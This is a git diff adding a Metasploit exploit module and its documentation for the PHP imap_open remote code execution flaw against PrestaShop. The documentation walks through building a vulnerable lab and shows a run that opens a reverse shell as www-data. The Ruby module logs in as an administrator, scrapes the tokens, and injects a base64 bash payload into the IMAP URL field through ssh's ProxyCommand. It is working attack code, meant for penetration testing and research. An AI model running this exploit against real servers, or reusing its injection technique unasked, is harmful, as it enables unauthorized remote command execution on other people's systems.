diff --git a/documentation/modules/exploit/linux/http/php_imap_open_rce.md b/documentation/modules/exploit/linux/http/php_imap_open_rce.md
new file mode 100644
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+++ b/documentation/modules/exploit/linux/http/php_imap_open_rce.md
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+## Vulnerable Application
+
+ The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php,
+ if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session.
+ On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's
+ `ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands.
+ While many custom applications may use `imap_open`, it is reported that the following
+ applications are vulnerable:
+
+* instantcms
+* HostCMS
+* e107_2
+* prestashop
+* SuiteCRM
+* SugarCRM
+
+ Prestashop exploitation requires the admin URI, and administrator credentials.
+
+### Prestashop on Ubuntu 16.04
+
+Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/),
+with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.
+
+```
+sudo apt install apache2
+sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
+sudo systemctl stop apache2.service
+sudo systemctl start apache2.service
+sudo systemctl enable apache2.service
+sudo apt-get install mariadb-server mariadb-client
+sudo systemctl stop mysql.service
+sudo systemctl start mysql.service
+sudo systemctl enable mysql.service
+sudo mysql_secure_installation
+sudo systemctl restart mysql.service
+sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
+sudo phpenmod imap
+sudo mysql -u root -p
+```
+
+```
+CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
+GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
+FLUSH PRIVILEGES;
+EXIT;
+```
+
+```
+cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
+unzip prestashop_1.7.2.4.zip
+sudo mkdir -p /var/www/html/prestashop
+sudo unzip prestashop.zip -d /var/www/html/prestashop/
+sudo chown -R www-data:www-data /var/www/html/prestashop/
+sudo chmod -R 755 /var/www/html/prestashop/
+sudo nano /etc/apache2/sites-available/prestashop.conf
+```
+
+Utilize the following configuration:
+```
+
+ ServerAdmin admin@example.com
+ DocumentRoot /var/www/html/prestashop/
+ ServerName example.com
+ ServerAlias www.example.com
+
+
+ Options +FollowSymlinks
+ AllowOverride All
+ Require all granted
+
+
+ ErrorLog ${APACHE_LOG_DIR}/error.log
+ CustomLog ${APACHE_LOG_DIR}/access.log combined
+
+
+```
+
+```
+sudo a2ensite prestashop.conf
+sudo a2enmod rewrite
+sudo a2dissite 000-default
+sudo systemctl restart apache2.service
+```
+
+Browse to the website, and install with default information.
+
+```
+sudo rm -rf /var/www/html/prestashop/install/
+```
+
+Now browse to `/admin`, and the first time you'll be redirected to the admin URI. If not, `sudo ls /var/www/html/prestashop/admin*`.
+
+## Verification Steps
+
+ 1. Install a vulnerable application
+ 2. Start msfconsole
+ 3. Do: ```use exploit/linux/http/php_imap_open_rce```
+ 4. Do: ```set TARGETURI [URI]```
+ 5. Do: ```set USERNAME [username]```
+ 6. Do: ```set PASSWORD [password]```
+ 7. Do: ```set target [target]```
+ 8. Do: ```run```
+ 9. You should get a shell.
+
+## Options
+
+ **TARGETURI**
+
+ The URI for the target. This may change by target. Default is ``.
+ Prestashop should be the admin URI, similar to `/admin2769gx8k3`.
+
+## Scenarios
+
+### PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0
+
+ ```
+ resource (presta.rb)> use exploit/linux/http/php_imap_open_rce
+ resource (presta.rb)> set TARGETURI /admin2769gx8k3
+ TARGETURI => /admin2769gx8k3
+ resource (presta.rb)> set USERNAME ubuntu@none.com
+ USERNAME => ubuntu@none.com
+ resource (presta.rb)> set PASSWORD ubuntuubuntu
+ PASSWORD => ubuntuubuntu
+ resource (presta.rb)> set rhosts 192.168.2.139
+ rhosts => 192.168.2.139
+ resource (presta.rb)> set verbose true
+ verbose => true
+ resource (presta.rb)> exploit
+ [*] Started reverse TCP double handler on 192.168.2.117:4444
+ [*] Redirected to http://192.168.2.139/admin2769gx8k3/
+ [*] Redirected to http://192.168.2.139/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68
+ [*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://192.168.2.139/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f
+ [*] Logging in with ubuntu@none.com:ubuntuubuntu
+ [*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/192.168.2.139\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"}
+ [+] Login Success, loading admin dashboard to pull tokens
+ [*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc
+ [+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc
+ [*] Accepted the first client connection...
+ [*] Accepted the second client connection...
+ [*] Command: echo ivxULEW4eweTiis7;
+ [*] Writing to socket A
+ [*] Writing to socket B
+ [*] Reading from sockets...
+ [*] Reading from socket A
+ [*] A: "ivxULEW4eweTiis7\r\n"
+ [*] Matching...
+ [*] B is input...
+ [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.139:41746) at 2018-11-18 21:08:50 -0500
+
+ uname -a
+ Linux ubuntu1604 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
+ whoami
+ www-data
+ id
+ uid=33(www-data) gid=33(www-data) groups=33(www-data)
+ ```
diff --git a/modules/exploits/linux/http/php_imap_open_rce.rb b/modules/exploits/linux/http/php_imap_open_rce.rb
new file mode 100644
index 0000000000..f2962c61b4
--- /dev/null
+++ b/modules/exploits/linux/http/php_imap_open_rce.rb
@@ -0,0 +1,175 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = GoodRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'php imap_open Remote Code Execution',
+ 'Description' => %q{
+ The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
+ IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand
+ option can be passed from imap_open to execute arbitrary commands.
+ While many custom applications may use imap_open, it is reported that the following applications are vulnerable:
+ instantcms, HostCMS, e107_2, prestashop, SuiteCRM, SugarCRM.
+ Prestashop exploitation requires the admin URI, and administrator credentials.
+ },
+ 'Author' =>
+ [
+ 'Twoster', # Vulnerability discovery and PoC
+ 'h00die' # Metasploit Module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395' ],
+ [ 'URL', 'https://github.com/Bo0oM/PHP_imap_open_exploit' ]
+ ],
+ 'Privileged' => false,
+ 'Platform' => [ 'unix' ],
+ 'Arch' => ARCH_CMD,
+ 'Targets' =>
+ [
+ [ 'prestashop', {} ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Jun 19 2018'))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [ true, "Base directory path", '/admin2769gx8k3']),
+ OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
+ OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
+ ])
+ end
+
+ def check
+ if target.name =~ /prestashop/
+ uri = normalize_uri(target_uri.path)
+ res = send_request_cgi({'uri' => uri})
+ if res && (res.code == 301 || res.code == 302)
+ return CheckCode::Detected
+ end
+ end
+ CheckCode::Safe
+ end
+
+ def command
+ #payload is base64 encoded, and stuffed into the SSH option.
+ enc_payload = Rex::Text.encode_base64(payload.encoded)
+ command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
+ #final payload can not contain spaces, however $IFS$() will return the space we require
+ command.gsub!(' ', '$IFS$()')
+ end
+
+ def exploit
+ if target.name =~ /prestashop/
+ uri = normalize_uri(target_uri.path)
+ res = send_request_cgi({'uri' => uri})
+ if res && res.code != 301
+ print_error('Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3')
+ return
+ end
+
+ #There are a bunch of redirects that happen, so we automate going through them to get to the login page.
+ while res.code == 301 || res.code == 302
+ cookie = res.get_cookies
+ uri = res.headers['Location']
+ vprint_status("Redirected to #{uri}")
+ res = send_request_cgi({'uri' => uri})
+ end
+
+ #Tokens are generated for each URL or sub-component, we need valid ones!
+ /.*token=(?\w{32})/ =~ uri
+ /id="redirect" value="(?.*)"\/>/ =~ res.body
+ cookie = res.get_cookies
+ vprint_status("Token: #{token} and Login Redirect: #{redirect}")
+ print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path) + '/index.php',
+ 'cookie' => cookie,
+ 'vars_post' => {
+ 'ajax' => 1,
+ 'token' => '',
+ 'controller' => 'AdminLogin',
+ 'submitLogin' => '1',
+ 'passwd' => datastore['PASSWORD'],
+ 'email' => datastore['USERNAME'],
+ 'redirect' => redirect
+ },
+ 'vars_get' => {
+ 'rand' => '1542582364810' #not sure if this will hold true forever, I didn't see where it is being generated
+ }
+ )
+ if res && res.body.include?('Invalid password')
+ print_error('Invalid Login')
+ return
+ end
+ vprint_status("Login JSON Response: #{res.body}")
+ uri = JSON.parse(res.body)['redirect']
+ cookie = res.get_cookies
+ print_good('Login Success, loading admin dashboard to pull tokens')
+ res = send_request_cgi({'uri' => uri, 'cookie' => cookie})
+ #print_status(res.code.to_s)
+ #if res.code == 301 || res.code == 302
+ # print_status("#{res.code} -> #{res.headers['Location']}")
+ # cookie = res.get_cookies
+ # uri = res.headers['Location']
+ # res = send_request_cgi({'uri' => uri, 'cookie' => cookie})
+ #end
+
+ /AdminCustomerThreads&token=(?\w{32})/ =~ res.body
+ vprint_status("Customer Threads Token: #{token}")
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path) + '/index.php',
+ 'cookie' => cookie,
+ 'vars_get' => {
+ 'controller' => 'AdminCustomerThreads',
+ 'token' => token
+ }
+ })
+
+ /form method="post" action="index\.php\?controller=AdminCustomerThreads&token=(?\w{32})/ =~ res.body
+ print_good("Sending Payload with Final Token: #{token}")
+ data = Rex::MIME::Message.new
+ data.add_part('1', nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_FILE_UPLOAD"')
+ data.add_part("Dear Customer,\n\nRegards,\nCustomer service", nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_SIGNATURE_1"')
+ data.add_part("x #{command}}", nil, nil, 'form-data; name="PS_SAV_IMAP_URL"')
+ data.add_part('143', nil, nil, 'form-data; name="PS_SAV_IMAP_PORT"')
+ data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_USER"')
+ data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_PWD"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_DELETE_MSG"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_CREATE_THREADS"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_POP3"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NORSH"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_SSL"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_VALIDATE-CERT"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOVALIDATE-CERT"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_TLS"')
+ data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOTLS"')
+ data.add_part('', nil, nil, 'form-data; name="submitOptionscustomer_thread"')
+
+ send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path) + '/index.php',
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'data' => data.to_s,
+ 'cookie' => cookie,
+ 'vars_get' => {
+ 'controller' => 'AdminCustomerThreads',
+ 'token' => token
+ }
+ )
+
+ if res && res.body.include?('imap Is Not Installed On This Server')
+ print_error('PHP IMAP mod not installed/enabled ')
+ end
+ end
+ end
+end